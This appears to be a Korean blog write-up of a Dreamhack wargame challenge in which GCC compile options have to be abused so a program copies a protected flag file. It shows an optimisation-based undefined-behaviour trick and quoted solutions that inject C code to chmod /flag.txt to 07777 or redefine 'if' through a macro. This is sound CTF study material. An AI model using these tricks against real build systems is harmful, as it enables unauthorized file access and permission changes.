출제의도 - GCC 컴파일 옵션을 활용하여 의도치않은 동작을 하는 a.out 생성
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
int main() {
uint8_t v1 = 0;
int v2 = 0;
char v3[31];
uint16_t v4[10]={0,};
while (v4[v1] < UINT16_MAX && v1 < 10) {
v1++;
printf("v4[%d]: %p\n", v1, &v4[v1]);
v2 += v1;
if (v2 > 10000) {
FILE *fp = fopen("/flag.txt", "r");
fgets(v3, 31, fp);
fclose(fp);
fp = fopen("/home/stupid_gcc/flag.txt", "w");
fwrite(v3, 31, 1, fp);
fclose(fp);
return 0;
}
}
return 0;
}
이 코드를 컴파일하여 if(v2>10000) 통과되는 a.out을 생성하여야 함
마이 풀이
- optimization level 2 혹은 3으로 옵션을 주면 v1이 10 이후로도 계속 증가함!
$ gcc -O2 ./a.c
$ gcc -O3 ./a.c
이유는 잘 모르겠지만 v1<10을 항상 true라고 가정하고 optimizing 진행
어떻게 gcc 멋대로 optimizing하는 걸 방지하냐?
volatile 키워드 in C++
volatile로 선언된 변수는 외부적인 요인으로 그 값이 언제든지 바뀔 수 있음을 뜻한다. 따라서 컴파일러는 volatile 선언된 변수에 대해서는 최적화를 수행하지 않는다. volatile 변수를 참조할 경우 레지스터에 로드(캐싱)된 값을 사용하지 않고 매번 메모리를 참조
Basically, volatile announces that a value might change behind your program's back. That prevents compilers from caching the value (in a CPU register) and from optimizing away accesses to that value when they seem unnecessary from the POV of your program.
드림핵 풀이들
1. 파이프라인과 -x c 옵션 이용하여 직접 c코드를 작성 및 컴파일
echo -e '
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <string.h>
int main()
{
chmod("/flag.txt", 07777);
}' | gcc -o a.out -x c -
2. -D 옵션 이용하여 매크로 지정
gcc -D"if(x)=if(1)" a.c
'security > 포너블 - dreamhack' 카테고리의 다른 글
[Dreamhack Wargame] Cat-Jump (0) | 2023.06.15 |
---|---|
[Dreamhack Wargame] STB-lsExecutor (0) | 2023.06.15 |
[Dreamhack Wargame] awesome_basic (0) | 2023.06.15 |
[Dreamhack Wargame] FSB_Overwrite (0) | 2023.06.14 |
[Dreamhack Wargame] Master Canary (0) | 2023.06.14 |